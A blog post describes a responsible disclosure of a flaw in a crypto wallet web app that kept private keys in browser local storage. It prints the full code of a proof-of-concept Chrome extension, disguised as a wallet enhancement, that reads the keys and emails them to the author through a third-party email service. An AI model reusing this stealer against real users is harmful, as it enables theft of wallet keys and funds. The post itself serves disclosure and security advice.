Accidentally found a vulnerability in a crypto wallet and made $1,000

August 05, 2023· #security #crypto #bug-bounty

In January 2022, I joined the community of one of the proof-of-stake blockchains. To play with what the protocol and its ecosystem offered, I created a wallet account on the official website https://wallet.****.org. Apart from general curiosity, I was interested in how they achieved security in a browser, especially in the age of extensions and client-side vulnerabilities.

It turned out that when a user logged in, the wallet application (built in React) generated a set of public and private keys and stored them in the browser's local storage. With my experience of building authentication and authorization in distributed systems, I knew this was not the best thing to do – in general, it's easy for a browser extension and client-side code to read data from local storage 1.

To prove this, I decided to write a simple extension for Chrome that would retrieve keys from a victim's browser and send them to my anonymous email address.

The root directory of my pickpocket extension looked like this:

.
├── content.js
├── email.min.js
├── index.html
└── manifest.json

The main files are the manifest.json and content.js. The former is essential for installing the extension.

{
  "name": "X Wallet Enhancement",
  "version": "1.0",
  "manifest_version": 3,
  "content_scripts": [
    {
      "matches": [
        "https://wallet.****.org/*"
      ],
      "js": [
        "email.min.js",
        "content.js"
      ]
    }
  ]
}

email.min.js is just a client library from one of the cloud services that allows you to send email directly from a browser without any server code. index.html is a blank HTML page that displays nothing. The wallet hijacking logic lived in the content.js file:

emailjs.init('user_****'); // instantiating an email delivery service

let templateParams = {
    // gathering information about the victim's browser
    from_name: navigator.userAgent,
    // fetching wallet keys from the local storage
    storage: window.localStorage.getItem('_*:wallet:active_account_id_**'),
};

// using a prepared email template to send an email with keys
const serviceID = 'service_****';
const templateID = 'template_****';

emailjs.send(serviceID, templateID, templateParams)
 .then(() => {
    console.log("Wallet keys were send!");
 }, (err) => {
    console.error(JSON.stringify(err));
 });

Yes, such a dummy script.

I packed all four files into a zip archive and kindly asked my friend, who also had a wallet at https://wallet.***.org, to install my creation in his browser (pretending to do some social engineering). Before doing so, I told him about my findings and the theory I was trying to prove. He was happy to help, and the public and private keys of this wallet account appeared in my inbox a few seconds after the browser extension was installed. Next, I saved the keys to local storage in my browser and opened the wallet website.

Surprisingly, my friend's crypto-wallet balance was available to me, along with an option to withdraw the funds. During a Zoom call with my victim friend, I transferred some of his funds to an anonymous account and back. It was mind-blowing! A new, promising blockchain that had recently closed an investment round had a major vulnerability in its wallet. Worst of all, they had 2-factor authentication for users. Of course, not many people would activate it right away, and many didn't.

As an ethical developer, I created a vulnerability report, including the source code of the browser extension and my thoughts on how to improve the security of the web application. It was sent directly to the security team's email address on 18th of January. A few days later, I had a call with the CISO of the blockchain protocol, who assured me that they were aware of the issue and would address it in the next release. I was a little disappointed with the speed of the response to the incident. Two days is an eternity when one speaks about users' money. Nevertheless, the blockchain developers granted me their tokens in an amount equivalent to 1,000 USDT.

Advice for application developers: be aware of the technologies you use and their security aspects.
Advice for crypto users: learn what security options an organisation offers to you, activate two-factor authentication as soon as you create a wallet account, don't store all of your funds in hot wallets.

1

Worth reading